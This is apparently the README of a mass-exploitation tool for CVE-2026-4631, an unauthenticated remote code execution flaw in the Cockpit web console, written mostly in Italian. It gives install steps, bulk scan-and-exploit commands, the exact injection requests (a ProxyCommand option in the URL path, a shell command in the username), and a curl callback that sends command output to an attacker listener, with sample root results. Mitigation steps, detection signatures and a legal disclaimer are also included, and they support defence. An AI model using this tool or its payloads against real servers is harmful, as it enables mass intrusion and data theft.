CVE-2026-4631 — Strumento di Exploit di Massa per Cockpit

Esecuzione Remota di Codice non Autenticata tramite Iniezione di Argomenti della Riga di Comando SSH Versioni Cockpit 327 – 359 | CVSS 9.8 Critico | CWE-78

Strumento di sfruttamento di massa per CVE-2026-4631 sul servizio web Cockpit (cockpit-ws, porta 9090). Supporta la modalità di scansione delle vulnerabilità, la modalità RCE con cattura dell'output dei comandi tramite un listener di callback HTTP integrato, la modalità --auto (scan + exploit in un'unica esecuzione con il comando predefinito id), l'aggiunta automatica della porta :9090 per i target senza porta, entrambi i vettori di attacco (iniezione ProxyCommand + username %r), target di massa da file, concorrenza tramite threading e un output dei risultati strutturato.

Autore: 0xNuts

Avvio Rapido

Clona e Installa

git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt

Prepara i Target

Modifica targets.txt — un host per riga. La porta :9090 viene aggiunta automaticamente se assente:

192.168.1.10
cockpit.example.com
https://manage.lab.local

Esegui (Modalità AUTO — Consigliata)

# Scan + exploit sekali jalan, command default "id"
python3 exploit.py -f targets.txt --auto --callback-ip <IP_ATTACKER>

# Contoh output di results.txt:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]

Altre Modalità

# Scan vulnerability saja (tanpa exploit)
python3 exploit.py -f targets.txt --scan -o scan_results.txt

# RCE eksplisit dengan command custom
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <IP_ATTACKER>

# Single target
python3 exploit.py -t cockpit.example.com --auto --callback-ip <IP_ATTACKER>

Note sul Callback

CVE-2026-4631 è una RCE cieca — l'output del comando non viene restituito nella risposta HTTP. Lo strumento utilizza un listener HTTP integrato (porta predefinita 8888) per catturare l'output. Assicurati:

1. --callback-ip è un IP raggiungibile dal target (non 127.0.0.1)
2. Il firewall deve consentire il traffico TCP in ingresso sulla porta 8888 (o su quella di --listener-port personalizzata)
3. Il target deve poter effettuare richieste HTTP in uscita verso l'IP dell'attaccante

Come Correggere / Mitigare (Difensore)

1. Aggiorna Cockpit (Obbligatorio)

# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws

# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws

# Verifikasi versi (harus >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}'   # Debian
rpm -q cockpit-ws                            # RHEL

2. Disattiva l'Accesso Remoto (Soluzione Temporanea)

Modifica /etc/cockpit/cockpit.conf:

[WebService]
LoginTo = false

Riavvia il servizio:

sudo systemctl restart cockpit

3. Segmentazione di Rete

Limita la porta 9090 alla sola rete di gestione:

sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP

4. Aggiorna OpenSSH >= 9.6

Mitiga il Vettore 1 (iniezione ProxyCommand) tramite la validazione anticipata dell'hostname:

ssh -V   # harus OpenSSH_9.6 atau lebih baru

5. Patch Manuale (Backport)

Se non puoi aggiornare alla versione 360, applica i commit di patch:

• cockpit 9d0695647 — aggiunge il separatore -- in beiboot.py e cockpitauth.c
• ferny 44ec511c99 — aggiunge -- in session.py

Dettagli della patch: vedi docs/PATCH_ANALYSIS.md

Indice

1. Riepilogo della Vulnerabilità
2. Vettore di Attacco
3. Prerequisiti per lo Sfruttamento
4. Installazione
5. Utilizzo
6. Modalità Operative
7. Esempi di Esecuzione
8. Formato dell'Output
9. Architettura dello Strumento
10. Struttura dei File
11. Meccanismo di Cattura della RCE Cieca
12. Rilevamento e Mitigazione
13. Disclaimer Legale
14. Riferimenti

Riepilogo della Vulnerabilità

Cockpit v327 ha sostituito cockpit-ssh (libssh) con python3 -m cockpit.beiboot, che richiama il client OpenSSH ssh di sistema. L'input controllabile dall'utente — hostname dal percorso dell'URL e username dall'header Authorization: Basic — viene passato a ssh senza sanificazione e senza il separatore -- di fine opzioni. L'iniezione avviene prima della verifica delle credenziali, quindi non è necessaria una login valida.

Vettore di Attacco

Vettore 1 — Iniezione ProxyCommand (Primario)

L'hostname dal percorso dell'URL viene iniettato con l'opzione SSH -oProxyCommand=<cmd>.

GET /cockpit+=-oProxyCommand=<URL_ENCODED_PAYLOAD>/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x:x")

SSH interpreta -oProxyCommand=<cmd> come opzione ed esegue <cmd> come ProxyCommand. Il comando viene eseguito come processo dell'utente cockpit-ws.

Prerequisito: OpenSSH < 9.6 sul target. OpenSSH 9.6+ dispone della validazione anticipata dell'hostname che blocca i metacaratteri.

Vettore 2 — Iniezione del Token %r nell'Username (Secondario)

L'username dall'header Authorization: Basic viene iniettato con un comando shell.

GET /cockpit+=legit-host/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x; <CMD>; #:x")

SSH espande %r con l'username nella direttiva Match exec → la shell esegue il comando iniettato.

Prerequisito: l'ssh_config del target ha una direttiva Match exec con il token %r.

Prerequisiti per lo Sfruttamento

Lato Attaccante (macchina che esegue lo strumento)

• Python 3.8+
• IP raggiungibile dal target Cockpit (per il listener di callback)
• Porta aperta per il listener (predefinita 8888)
• Firewall che consente il traffico in ingresso dal target alla porta del listener

Lato Target (istanza Cockpit)

• Versione Cockpit 327 – 359
• Porta 9090 raggiungibile
• Funzionalità di accesso remoto (LoginTo) non disabilitata
• Per il Vettore 1: OpenSSH < 9.6
• Per il Vettore 2: ssh_config con Match exec %r

Installazione

# Clone dari GitHub
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE

# Install dependency
pip install -r requirements.txt

# Verifikasi
python3 exploit.py --help

Dipendenze

• requests>=2.31 — client HTTP per le richieste di exploit
• colorama>=0.4 — output del terminale a colori

Non ci sono dipendenze aggiuntive per il listener (utilizza la stdlib http.server + threading).

Utilizzo

usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT]
                  [-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
                  [-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT]
                  [--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY]
                  [--user-agent UA] [-v] [--no-color]

CVE-2026-4631 Cockpit Mass Exploit — Unauthenticated RCE via SSH Argument Injection

optional arguments:
  -h, --help            show this help message and exit
  -t, --target          single target URL/host (port auto-added jika absent)
  -f, --file            file containing list of targets (one per line)
  --default-port        port yang di-append jika target tanpa port (default: 9090)
  -c, --cmd             command to execute (default: "id" pada mode --auto / RCE)
  --scan                vulnerability scan mode (no RCE, probe endpoint only)
  --auto                scan + exploit sekali jalan, command default "id"
  --vector              exploit vector: auto|proxycommand|username (default: auto)
  -o, --output          result output file (default: results.txt)
  --callback-ip         attacker IP reachable from target (for callback listener)
  --listener-port       callback listener port (default: 8888)
  --threads             concurrent workers (default: 10)
  --timeout             seconds to wait for callback per target (default: 10)
  --delay               delay between requests in seconds (default: 0)
  --proxy               HTTP proxy for debugging (e.g. http://127.0.0.1:8080)
  --user-agent          custom User-Agent string
  -v, --verbose         verbose output (debug)
  --no-color            disable colored output

Modalità Operative

Modalità 1 — Scansione delle Vulnerabilità (--scan)

Sonda l'endpoint /cockpit+=probe-host/login senza exploit. Rileva:

• Impronta di Cockpit tramite header/corpo della risposta
• Flusso di login vulnerabile attivo (codice di risposta 401/403/200/500)
• Inferenza della versione se possibile

Non invia payload dannosi e non richiede un listener di callback.

Modalità 2 — RCE con Cattura del Comando (-c "cmd")

Esegue il comando sul target e cattura l'output tramite callback:

• Il listener HTTP integrato si avvia in background
• Il payload ProxyCommand avvolge il comando con curl per l'esfiltrazione verso il listener
• L'output viene codificato in base64 e inviato via POST al listener
• Il listener decodifica e abbina al target tramite l'ID della richiesta
• Il risultato viene scritto nel file di output
• Se -c non è specificato, il comando predefinito è id

Modalità 3 — AUTO (--auto) — Consigliata

Scan + exploit in un'unica passata, comando predefinito id:

1. Analizza la lista dei target (aggiunge automaticamente la porta 9090 se assente)
2. Avvia il listener di callback
3. Per ogni target: scan → se VULN, exploit immediato con id (o sovrascritto da -c)
4. I target NOT VULN / UNREACHABLE vengono saltati (non sfruttati)
5. Risultato: host [ uid=0(root) ... ]

Modalità 4 — Vettore Automatico (--vector auto)

Prova prima il Vettore 1 (ProxyCommand). Se la risposta indica OpenSSH >= 9.6 (errore di validazione dell'hostname), ripiega sul Vettore 2 (username %r).

Normalizzazione Automatica della Porta

Ogni voce in targets.txt senza porta riceve automaticamente l'aggiunta di :9090:

host              → http://host:9090
host:9090         → http://host:9090
https://host      → https://host:9090
192.168.1.10      → http://192.168.1.10:9090
[::1]             → http://[::1]:9090

Esempi di Esecuzione

AUTO — Scan + Exploit (Consigliata)

# Target tanpa port → auto :9090, command default "id"
python3 exploit.py -f targets.txt --auto --callback-ip 10.10.10.10

# Override command
python3 exploit.py -f targets.txt --auto -c "whoami" --callback-ip 10.10.10.10

Output results.txt:

# CVE-2026-4631 mass exploit results — 2026-07-12 00:42
# mode: auto
# command: id
# vector: auto
example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
10.0.0.5:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
host3.example.com:9090 [ VULN - no callback received (OpenSSH >= 9.6?) ]
host4.example.com:9090 [ NOT VULN ]

Scansione delle Vulnerabilità — Target di Massa

python3 exploit.py -f targets.txt --scan -o scan_results.txt

Output scan_results.txt:

target1.example.com:9090 [ VULN - Cockpit login flow active (HTTP 401) ]
target2.example.com:9090 [ NOT VULN ]
target3.example.com:9090 [ UNREACHABLE (ConnectionError) ]

RCE — Target Singolo

python3 exploit.py -t target -c "id" --callback-ip 10.10.10.10
# equivalent: -t http://target:9090/

Output:

target:9090 [ uid=0(root) gid=0(root) groups=0(root) ]

RCE — Target di Massa con Cattura del Comando

python3 exploit.py -f targets.txt -c "id" -o results.txt --callback-ip 10.10.10.10 --threads 20

RCE — Vettore Specifico

# Force Vector 1 ProxyCommand
python3 exploit.py -f targets.txt -c "cat /etc/passwd" --vector proxycommand

# Force Vector 2 username %r
python3 exploit.py -f targets.txt -c "whoami" --vector username

Ottimizzazione di Concorrenza e Timeout

python3 exploit.py -f targets.txt -c "id" \
  --callback-ip 10.10.10.10 \
  --listener-port 9999 \
  --threads 50 \
  --timeout 15 \
  --delay 0.2

Debug tramite Proxy

python3 exploit.py -t http://target:9090/ -c "id" --proxy http://127.0.0.1:8080 -v

Formato dell'Output

Formato del file dei risultati: una riga per target.

<host> [ <status_or_output> ]

L'intestazione del file dei risultati registra timestamp, comando, vettore e numero di target.

Architettura dello Strumento

flowchart TD
    CLI["exploit.py<br/>argparse CLI + banner"] --> Parser["core/target.py<br/>parse & normalize targets"]
    CLI --> Engine["core/engine.py<br/>orchestrator"]
    Engine --> Listener["core/listener.py<br/>HTTP callback server thread"]
    Engine --> Pool["ThreadPoolExecutor<br/>concurrent workers"]
    Pool --> Scanner["core/scanner.py<br/>vuln probe"]
    Pool --> Exploit["core/exploit.py<br/>payload generator"]
    Scanner --> Req1["requests GET<br/>/cockpit+=test/login"]
    Exploit --> Req2["requests GET<br/>/cockpit+=-oProxyCommand=PAYLOAD/login"]
    Req2 --> Target["Cockpit target :9090"]
    Target -->|"blind RCE<br/>curl callback"| Listener
    Listener --> Shared["shared dict<br/>REQID -> output"]
    Engine --> Result["utils/result.py<br/>write results.txt"]
    Shared --> Engine

Componenti

• exploit.py — punto di ingresso, analizza gli argomenti, inoltra all'engine, mostra il banner
• core/target.py — legge -f file / -t url, normalizza (aggiunge http://, porta predefinita 9090), deduplica
• core/scanner.py — modalità --scan, sonda l'endpoint, identifica Cockpit, deduce la vulnerabilità
• core/exploit.py — genera il payload per ogni vettore, invia la richiesta di exploit tramite requests
• core/listener.py — ThreadingHTTPServer su --callback-ip:--listener-port, analizza ?id=REQID&out=BASE64, salva nel dizionario condiviso
• core/engine.py — orchestratore: avvia il listener, crea ThreadPoolExecutor, abbina il callback al target tramite l'ID della richiesta, gestisce il timeout, scrive il risultato
• utils/banner.py — banner ASCII
• utils/result.py — scrive il file dei risultati nel formato host [ output ]

Struttura dei File

CVE-2026-4631-cockpit-RCE/
├── exploit.py                  # entry point CLI
├── requirements.txt            # dependencies
├── README.md                   # dokumentasi ini
├── targets.txt                 # contoh target list
├── results.txt                 # output (generated)
├── core/
│   ├── __init__.py
│   ├── target.py               # parser target
│   ├── scanner.py              # mode scan vuln
│   ├── exploit.py              # payload generator + sender
│   ├── listener.py             # HTTP callback server
│   └── engine.py               # orchestrator
├── utils/
│   ├── __init__.py
│   ├── banner.py               # ASCII banner
│   └── result.py               # result writer
└── docs/
    ├── VULN_ANALYSIS.md        # analisis mendalam vulnerability
    ├── PATCH_ANALYSIS.md       # analisis patch commit
    └── DETECTION.md            # signature deteksi

Meccanismo di Cattura della RCE Cieca

CVE-2026-4631 è una RCE cieca — l'output del comando non viene restituito nella risposta HTTP di Cockpit. Lo strumento gestisce questo tramite un listener di callback HTTP integrato:

Flusso

1. Avvio del listener — un server HTTP multi-thread in ascolto su --callback-ip:--listener-port
2. Generazione REQID — per ogni target, un UUID4 hex univoco di 8 caratteri
3. Costruzione del payload — il ProxyCommand avvolge il comando con esfiltrazione via curl:
   root@kitploit:~

   bash -c 'curl -s http://CALLBACK_IP:PORT/cb?id=REQID --data "$(CMD | base64 -w0)"'
   

4. Codifica URL del payload — iniettato nel campo hostname:
   root@kitploit:~

   GET /cockpit+=-oProxyCommand=<URL_ENC_PAYLOAD>/login
   Authorization: Basic base64("x:x")
   

5. Invio della richiesta — tramite requests.get, con verify=False per i certificati self-signed
6. Attesa del callback — verifica del dizionario condiviso results[REQID] fino a --timeout
7. Abbinamento e decodifica — se il callback arriva, decodifica l'output base64 e lo abbina al target tramite REQID
8. Scrittura del risultato — host [ decoded_output ] nel file di output

Fallback Senza Callback

Se il timeout scade senza callback, controlla la risposta di errore SSH:

• Errore di validazione dell'hostname → OpenSSH >= 9.6, Vettore 1 bloccato → VULN - no callback (OpenSSH >= 9.6?)
• Errore di connessione → UNREACHABLE
• Endpoint inesistente → NOT VULN

Concorrenza

• ThreadPoolExecutor(max_workers=--threads) in parallelo per ogni target
• Dizionario condiviso dict[REQID] -> target_host + dict[REQID] -> output con threading.Lock
• ThreadingHTTPServer gestisce i callback concorrenti
• try/except per ogni target: errore di connessione, errore SSL, timeout

Rilevamento e Mitigazione

Firma IDS di Rete

GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login

Controlla:

• -oProxyCommand= nel percorso dell'URL
• Punto e virgola (;) nel valore decodificato di Authorization: Basic

Ricerca nei Log

journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"
journalctl _COMM=ssh | grep -v "^--$"

Mitigazione

1. Aggiorna Cockpit >= 360 (correzione obbligatoria)
2. Disattiva l'accesso remoto — /etc/cockpit/cockpit.conf:
   root@kitploit:~

   [WebService]
   LoginTo = false
   

3. Segmentazione di rete — limita la porta 9090 alla rete di gestione:
   root@kitploit:~

   iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
   iptables -A INPUT -p tcp --dport 9090 -j DROP
   

4. Aggiorna OpenSSH >= 9.6 — mitiga il Vettore 1 (validazione anticipata dell'hostname)

Verifica della Versione

dpkg -l cockpit-ws | awk 'NR==5{print $3}'   # Debian/Ubuntu
rpm -q cockpit-ws                            # RHEL/Fedora
# Vulnerable: 327 <= version <= 359

Disclaimer Legale

Questo strumento è stato creato per penetration testing autorizzati, ricerca sulla sicurezza e validazione delle vulnerabilità su sistemi di tua proprietà o per i quali disponi di un'autorizzazione scritta al test.

L'uso di questo strumento su sistemi senza l'autorizzazione esplicita del proprietario è illegale e può comportare sanzioni penali ai sensi della legge applicabile (in Indonesia: UU ITE Articoli 30-33).

L'autore non è responsabile per l'uso improprio di questo strumento. Usalo in modo etico e responsabile.

Casi d'uso autorizzati:

• Audit di sicurezza sulla propria infrastruttura
• Impegni di penetration testing con perimetro scritto
• Validazione delle patch in ambiente di laboratorio
• CTF e formazione sulla sicurezza

Riferimenti

Licenza

Per scopi di ricerca e testing autorizzato. Non per la distribuzione commerciale senza autorizzazione.